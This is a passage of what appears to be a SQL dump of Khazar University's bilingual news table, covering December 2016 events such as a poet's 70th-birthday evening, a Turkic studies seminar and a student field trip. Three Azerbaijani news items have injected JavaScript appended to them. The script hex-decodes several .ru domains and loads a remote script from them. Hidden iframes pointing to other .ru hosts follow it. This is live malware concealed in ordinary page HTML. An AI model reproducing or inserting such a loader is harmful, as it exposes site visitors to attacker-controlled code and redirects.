Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, received Anar Kazimov, Head of Science Division of the Ministry of Education. The meeting was also attended by Dr. Hassan Niknafs, Rector of the University, Assoc. Prof. Irada Khalilova, Vice-rector for Research, and Dr. Eldar Shahgeldiyev, Head of the Division for Graduate Students and Research. During the meeting, education and defense of PhD candidates as well as other issues were discussed. The guest became familiar with Nanotechnology and Construction Materials Laboratory and Cell Pathology Research Center at Khazar University and highly appreciated the research works&nbsp;conducted.</p>'),(2923,1737,'az','Yanvar','Yanvar',''),(2924,1737,'en','January','January',''),(2912,1728,'en','Meeting with Ramiz Rovshan','On December 16, 2016, an evening with poet Ramiz Rovshan was held in the World Concert Hall at Khazar University in honor of the poet’s 70th birthday...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On December 16, 2016,\r\nan evening with poet Ramiz Rovshan was held in the World Concert Hall at Khazar\r\nUniversity in honor of the poet’s 70th birthday. Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and Trustees,\r\nopened the event. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Then Ramiz Rovshan was\r\ninvited to the stage. He recited several of his poems during the event, and\r\nsongs composed to his lyrics were performed. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Other participants in\r\nthe event included Nailakhanim Isayeva, co-founder of Khazar University’s\r\naffiliate Dunya School; Alovsat Amirbeyli, Director for Public Relations and\r\nMedia; and friends and relatives of Ramiz Rovshan.&nbsp;</p>'),(2913,1732,'az','Xəzər Universitetində keşirilmiş yubiley mətbuatda','PrimTime.Az xəbər saytı 2016-cı il dekabrın 16-də Xəzər Universitetinin “Dünya” konsert zalında şair Ramiz Rövşənin 70 illik yubileyinə həsr olunmuş tədbirlə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong><em>PrimTime.Az</em></strong> xəbər saytı 2016-cı il dekabrın 16-də Xəzər\r\nUniversitetinin “Dünya” konsert zalında şair Ramiz Rövşənin 70 illik yubileyinə\r\nhəsr olunmuş tədbirlə bağlı xəbər yaymışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbəri tam şəkildə\r\nbu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.primetime.az/news,13596,2d387295/page,1/lang,az/#Kalibri\">http://www.primetime.az/news,13596,2d387295/page,1/lang,az/</a>.</p>   <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2914,1732,'en','Jubilee Celebration at Khazar in Media','On December 16, 2016, a jubilee celebration in honor of the 70th birthday of poet Ramiz Rovshan was held in the World Concert Hall at Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On December 16,\r\n2016, a jubilee celebration in honor of the 70<sup>th</sup> birthday of poet\r\nRamiz Rovshan was held in the World Concert Hall at Khazar University. An\r\narticle about this event was published on the news site <strong>primtime.az</strong> at\r\nthe following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.primetime.az/news,13596,2d387295/page,1/lang,az/#Kalibri\">http://www.primetime.az/news,13596,2d387295/page,1/lang,az/</a>.</p>'),(2915,1733,'az','Xəzər Universitetinin rektoru 1-ci il tələbələri ilə görüşdü','2016-cı il dekabrın 15-də Xəzər Universitetinin rektoru Dr. Hassan Niknafs 1-ci il tələbələri ilə görüşdü. Görüşdə Humanitar və sosial elmlər fakültəsinin dekanı...','<p>2016-cı il dekabrın 15-də Xəzər Universitetinin\r\nrektoru Dr. Hassan Niknafs 1-ci il tələbələri ilə görüşdü. Görüşdə Humanitar və\r\nsosial elmlər fakültəsinin dekanı Dr. Cabir Xəlilov, Siyasi elm və beynəlxalq\r\nmünasibətlər departamentinin koordinatoru Elmar Mustafayev və Humanitar və\r\nsosial elmlər fakültəsində dekan köməkçisi Paşa Aydayev iştirak edirdilər. </p>\r\n<p>Dr. Hassan Niknafs tələbələrə universitetdə təhsil\r\nalacaqları 4 il ərzində yaradılacaq şərait və imkanlardan danışdı, təhsillərini\r\nuğurla davam etdirmələri üçün onlara tövsiyələrini bildirdi. </p>\r\n<p>Sonda tələbələrin sualları cavablandırıldı.</p>'),(2916,1733,'en','President Meets with First-Year Students','On December 15, 2016, Dr. Hasan Niknafs, President of the University, met with first-year students. Participants in the meeting included Associate Professor Jabir Khalilov...','<p>On\r\nDecember 15, 2016, Dr. Hasan Niknafs, President of the University, met with\r\nfirst-year students. Participants in the meeting included Associate Professor\r\nJabir Khalilov, Dean of the School of Humanities and Social Sciences; Elmar\r\nMustafayev, Coordinator of the Department of Political Science and\r\nInternational Relations; and Pasha Aydayev, Assistant to the Dean of the School\r\nof Humanities and Social Sciences. </p>\r\n<p>Dr.\r\nHasan Niknafs spoke to the students about the opportunities that would be\r\noffered to them during their four years of study, and he made suggestions to\r\nhelp them study successfully. At the end of the event, students’ questions were\r\nanswered.&nbsp;</p>'),(2918,1734,'en','Development Director at Conference in Spain ','On December 12-14, 2016, an annual conference organized by Support and Promotion for Higher Education Reform Experts (SPHERE) was held at the University...','<p>On\r\nDecember 12-14, 2016, an annual conference organized by Support and Promotion\r\nfor Higher Education Reform Experts (SPHERE) was held at the University of\r\nBarcelona in Spain. Raziya Isayeva, Khazar University Development Director,\r\nparticipated in the conference as a Higher Education Reform Expert (HERE)\r\nrepresenting Azerbaijan. The conference gathered together HERE of different\r\nprofiles from more than 20 countries. The conference discussed Higher Education\r\nReform with five central dimensions: access/retention/study success, quality,\r\nemployability, internationalization and democratic governance/autonomy.</p>\r\n<p>The\r\nultimate purpose of the conference was to sharpen participants’ skills in\r\nanalyzing education policy reforms, considering examples of other systems,\r\ndesigning education policies with realistic and specific plans for\r\nimplementation, and further developing their roles in their own countries.</p>\r\n<p>Support\r\nand Promotion for Higher Education Reform Experts (SPHERE) is funded by the\r\nERASMUS+ Programme of the European Union.&nbsp;</p>'),(2919,1735,'az','“Xəzər”in müəllimi və tələbələri “Türkologiya” jurnalının növbəti seminarında iştirak etdilər','2016-cı il dekabrın 15-də Xəzər Universiteti Təhsil fakültəsi Azərbaycan dili və ədəbiyyatı departamentinin müəllimi fil.ü.f.d., dos. Elmira Məmmədova-Kekeç...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">2016-cı il dekabrın 15-də\r\nXəzər Universiteti Təhsil fakültəsi Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müəllimi fil.ü.f.d., dos. Elmira Məmmədova-Kekeç və Təhsil\r\nfakültəsinin tələbələri Xatirə Ağayeva, Ema Niftəliyeva, Nizami Əlisoy, İlahə\r\nQasımzadə, Ləman Həsənli “Türkologiya” jurnalının növbəti seminarında iştirak\r\netdilər. Seminarda Bakı Dövlət Universitetinin\r\nTürkologiya kafedrasının professoru Elbrus Əzizovun moderatorluğu ilə professor\r\nƏhməd Bican Ercilasunun “Başlanğıcdan iyirminci əsrə –türk dil tarixi” kitabı\r\nmüzakirə və təhlil edildi.</p>\r\n<p>E.Əzizov tərəfindən seminar\r\niştirakçılarına “Türk dillərinin dünya dilləri arasındakı yeri”, “Altay dilləri\r\nnəzəriyyəsi”, “Böyük dil ailələri nəzəriyyəsi”, “Nostratik nəzəriyyəsi”,\r\n“Avrasyatik nəzəriyyəsi”, “Şümer-Türk dil əlaqələri” kimi məsələlər haqqında\r\ngeniş məlumat verildi.</p>\r\n<p>Seminarın sonunda türkoloq-alim\r\nseminar iştirakçılarının və tələbələrin suallarını cavablandırdı.</p>   <script type=\"text/javascript\">window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2917,1727,'en','School of Education Meets with Alumni','On December 16, 2016, the university administration held a meeting with 2016 bachelor-level graduates of the School of Education. Participants in the meeting...','<p>On December 16, 2016, the university administration\r\nheld a meeting with 2016 bachelor-level graduates of the School of Education.\r\nParticipants in the meeting included Dr. Isakhan Isakhanli, Vice President for\r\nAdministration and Student Affairs; Dr. Elza Semedli, Dean of the School of\r\nEducation; and Baba Bayramli, Director of the Center for Alumni Relations. The\r\nobjective of the meeting was to maintain relationships with alumni and discuss\r\ntheir future plans. </p>\r\n<p>At the end of the meeting, alumni shared their\r\nthoughts and impressions of the university.&nbsp;</p>'),(2920,1735,'en','Khazar Instructors and Students Participate in Turkic Studies Journal Seminar','On December 15, 2016, Dr. Elmira Mammadova-Kekech, instructor of the Department of Azerbaijani Language and Literature within Khazar University School of Education...','<p>On\r\nDecember 15, 2016, Dr. Elmira Mammadova-Kekech, instructor of the Department of\r\nAzerbaijani Language and Literature within Khazar University School of\r\nEducation, and students of the same School including Khatira Aghayeva, Ema Niftaliyeva,\r\nNizami Alisoy, Ilaha Gasimzadeh, and Laman Hasanli participated in a routine\r\nseminar of the Turkic Studies Journal. The seminar was moderated by Professor\r\nElbrus Azizov of the Turkic Studies Department of Baku State University. It\r\nincluded a discussion and analysis of the book “Başlanğıcdan\r\niyirminci əsrə –türk dil tarixi” (From the Beginning to the 20th Century:\r\nHistory of the Turkish Language) by Professor Ahmad Bican Arcilasun. </p>\r\n<p>Professor Azizov informed the participants about topics such as “The\r\nPlace of the Turkish Language Among Languages of the World,” “Theory of Altaic\r\nLanguages,” “Theory of Major Language Families,” “Nostratic Theory,”\r\n“Euro-Asiatic Theory,” “Sumerian-Turkic Language Relations” and more. </p>\r\n<p>At the end of the seminar, the scholars answered participants’ and\r\nstudents’ questions.&nbsp;</p>'),(2921,1736,'az','Tələbələr Əyazmalar İnstitutunda dərs keçdilər','2016-cı il dekabrın 16-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi, fil.ologiya üzrə fəlsəfə doktoru Xatirə Yusifova Təhsil fakültəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 16-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müəllimi, fil.ologiya üzrə fəlsəfə doktoru Xatirə Yusifova Təhsil\r\nfakültəsinin tələbələri üçün “Əski əlifba” fənnindən növbəti dərsini AMEA-nın Məhəmməd\r\nFüzuli adına Əlyazmalar İnstitutunda keçirdi. Müəllimin mühazirəsi tələbələrin əyani\r\nşəkildə gördükləri konkret nümunələr əsasında aparıldığından, böyük maraqla\r\nqarşılandı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tələbələr\r\nƏlyazmalar İnstitutunda qorunan Yaxın və Orta Şərq, o cümlədən Azərbaycan,\r\nŞimali Afrika ölkələrinin və xalqlarının elm və mədəniyyətinə dair türk, ərəb,\r\nfars dillərində qiymətli əsərlərlə, eyni zamanda, XIX-XX əsrlərdə yaşamış görkəmli\r\nelm və mədəniyyət xadimlərinin şəxsi sənədləri, əski çap kitabları, əvvəlki\r\ndövrlərin qəzet və jurnalları müxtəlif mikrofilm və foto surətlərlə tanış\r\noldular.</p>   <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2922,1736,'en','Student Field Trip to Manuscripts Institute','On December 16, 2016, Dr. Khatira Yusifova, instructor in the Department of Azerbaijani Language and Literature at Khazar University, took the students of her “Ancient Alphabet” class...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On December 16, 2016,\r\nDr. Khatira Yusifova, instructor in the Department of Azerbaijani Language and\r\nLiterature at Khazar University, took the students of her “Ancient Alphabet”\r\nclass on a field trip to the Mahammad Fuzuli Manuscripts Institute of the\r\nAzerbaijan National Academy of Sciences. The students were very interested to\r\nsee concrete examples of what their teacher explained in lectures. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">The students had the\r\nopportunity to view works in Turkish, Arabic and Persian languages from the\r\nNear East and Middle East, Azerbaijan, and countries of North Africa relating\r\nto the sciences and cultures of ethnic groups in those locations. They also saw\r\npersonal documents of well-known people of science and arts of the 19<sup>th</sup>\r\nand 20<sup>th</sup> centuries, old printed books, and newspapers and journals\r\nof the last century on microfilm and in photographs.&nbsp;</p>'),(2975,1763,'az','Təsisçi Ankara Universitetinin rektoru ilə görüşdü','2016-cı il dekabrın 19-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Türkiyədə Ankara Universitetinin rektoru...','<p>2016-cı il dekabrın 19-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Türkiyədə Ankara Universitetinin rektoru, professor Erkan İbişlə görüşdü. H.İsaxanlı Ankara Universitetinin rektoruna Xəzər Universiteti haqqında geniş məlumat verdi və ona universitetin hədiyyəsini təqdim etdi. Görüş zamanı Xəzər Universiteti ilə Ankara Universiteti arasında əlaqələrin daha da genişləndirilməsinin vacibliyi vurğulandı.&nbsp;</p><p>Universitet rəhbərləri universitetlər arasında əmkdaşlıq protokolu imzaladılar. Görüşdə H.İsaxanlı rektorun fəxri qonaqlar kitabına ürək sözləri yazdı.&nbsp;</p>'),(2974,1761,'en','Meeting with Alumni of State Program for Foreign Education','On December 17, 2016, a forum on academic recruitment of alumni of the “State Program for Foreign Education of Azerbaijani Youth in the years 2007-2015” was held...','<p>On December 17, 2016, a forum on\r\nacademic recruitment of alumni of the “State Program for Foreign Education of\r\nAzerbaijani Youth in the years 2007-2015” was held at ADA University.\r\nParticipants in the event included Mikayil Jabbarov, Minister of Education;\r\nShahmar Movsumov, Executive Director of the State Oil Foundation; Akif\r\nAlizadeh, President of Azerbaijan National Academy of Sciences; Hafiz Pashayev,\r\nRector of ADA University; and other administrative members of higher education\r\ninstitutions as well as alumni of master’s and PhD programs abroad. </p>\r\n<p>Dr. Mukhtar Hajizada, Head of the\r\nDepartment of Political Science and International Relations at Khazar\r\nUniversity and alumnus of the State Program, made a presentation at the event.\r\nHe especially noted the importance of the event for the economy of Azerbaijan\r\nin light of current challenges. </p>\r\n<p>More\r\ninformation about the Forum is available at this link:</p>\r\n<p><a href=\"http://edu.gov.az/az/page/9/13402\">http://edu.gov.az/az/page/9/13402</a>.</p><p><a href=\"http://news.lent.az/news/262937\">http://news.lent.az/news/262937</a>.  <br></p>'),(2925,1738,'az','Fevral','Fevral',''),(2926,1738,'en','February','February',''),(2927,1739,'az','Mart','Mart',''),(2928,1739,'en','March','March',''),(4307,2542,'az','Xəzər Universitetinin nümayəndələri PETRA layihəsi çərçivəsində səfərdə oldular','2017-ci il oktyabrın 16-dan 20-dək Azərbaycan və Avopa ali təhsil müəssisələrinin tərəfdaş üzvlərinin, eləcə də, Azərbaycan Respublikası...','<p>2017-ci il oktyabrın 16-dan 20-dək Azərbaycan və Avropa ali təhsil müəssisələrinin tərəfdaş üzvlərinin, eləcə də, Azərbaycan Respublikası Təhsil Nazirliyi nümayəndəsinin iştirakı ilə ERASMUS+ PETRA layihəsinin görüşü Macarıstanın Debrecen Universitetində keçirildi.</p><p>Görüşdə Xəzər Universitetini Təhsil fakültəsinin dekanı Dr.Elza Səmədova və Keyfiyyətin Təminatı Mərkəzinin rəhbəri Lyudmila Sotova təmsil edirdilər.</p><p>Görüşün əsas məqsədi Debrecen Universitetinin təlim-tədris və tədqiqat təcrübəsinin öyrənilməsi idi.</p><p>Görüş zamanı iştirakçılara universitetdə aparılan tədqiqat işləri, tədris prosesi və beynəlxalq əlaqələr haqqında təqdimatlar edildi. Daha sonra iştirakçılar Elm və Mədəniyyət Mərkəzinin fəaliyyəti ilə tanış oldular, layihə çərçivəsində təşkil olunmuş beynəlxalq konfransda iştirak etdilər.</p>'),(2937,1744,'az','Avqust','Avqust',''),(2938,1744,'en','August','August',''),(2939,1745,'az','Sentyabr','Sentyabr','<p>30.09.15 Motivational Letter Writing Workshop at Career Center&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1082916258385445.1073742030.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>29.09.15 History faculty\'s meeting with students of Education School&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1082551901755214.1073742029.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.09.15 Masterly Lectures of Oleg Pokhanovski&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079907182019686.1073742025.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>23.09.2015 Meeting with Grigori Khalyagin &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1080014332008971.1073742028.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>23.09.2015 Financial Aid Letter Workshop at Career Center&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079938142016590.1073742026.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.09.2015 Scientific council&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079906718686399.1073742024.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>21.08.2015 2th Graduation Ceremony of Potential School Principals&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079462008730870.1073742023.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>20.09.2015 1th meeting of Student Union\'s Parliament&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1078933008783770.1073742021.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015&nbsp;Thomson Reuters in Khazar University&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1077971228879948.1073742020.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015 Project Administration School (<a href=\"https://www.facebook.com/media/set/?set=a.1077970678880003.1073742019.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015 Presents of İRS magzine to Khazar University (<a href=\"https://www.facebook.com/media/set/?set=a.1077970485546689.1073742018.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015 Galib Khalil in Khazar University (<a href=\"https://www.facebook.com/media/set/?set=a.1077970265546711.1073742017.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>17.09.2015 Discover Azerbaijan Turan Kərimli ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1076904108986660.1073742016.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>15.09.2015 Yeni tədris ilinin açılışı (<a href=\"https://www.facebook.com/media/set/?set=a.1075957255748012.1073742015.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)&nbsp;</p>'),(2940,1745,'en','September','September','<p>30.09.15 Motivational Letter Writing Workshop at Career Center&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1082916258385445.1073742030.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>29.09.15 History faculty\'s meeting with students of Education School&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1082551901755214.1073742029.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.09.15 Masterly Lectures of Oleg Pokhanovski&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079907182019686.1073742025.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>23.09.2015 Meeting with Grigori Khalyagin &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1080014332008971.1073742028.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>23.09.2015 Financial&nbsp;Aid Letter Workshop at Career Center&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079938142016590.1073742026.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.09.2015 Scientific council&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079906718686399.1073742024.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>21.08.2015 2th Graduation Ceremony of Potential School Principals&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1079462008730870.1073742023.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>20.09.2015 1th meeting of Student Union\'s Parliament&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1078933008783770.1073742021.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015&nbsp;Thomson Reuters in Khazar University&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1077971228879948.1073742020.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015 Project Administration School (<a href=\"https://www.facebook.com/media/set/?set=a.1077970678880003.1073742019.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015 Presents of İRS magzine to Khazar University (<a href=\"https://www.facebook.com/media/set/?set=a.1077970485546689.1073742018.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.09.2015 Galib Khalil in Khazar University (<a href=\"https://www.facebook.com/media/set/?set=a.1077970265546711.1073742017.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>17.09.2015 Discover Azerbaijan Turan Kərimli ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1076904108986660.1073742016.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>15.09.2015 Yeni tədris ilinin açılışı (<a href=\"https://www.facebook.com/media/set/?set=a.1075957255748012.1073742015.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)&nbsp;</p>'),(2929,1740,'az','Aprel','Aprel',''),(2930,1740,'en','April','April',''),(2972,1762,'az','“Gələcəyini Qur!” Gəncliyə Dəstək layihəsi Xəzər Universitetində qonaq oldu','2016-cı il dekabrın 17-də Xəzər Universitetində BP, Iteca Caspian, Caspian Event Organizers, EY şirkətləri və “Kainat” Tədris Mərkəzinin birgə sponsorluğu ilə həyata keçirilən...','<p>2016-cı il\r\ndekabrın 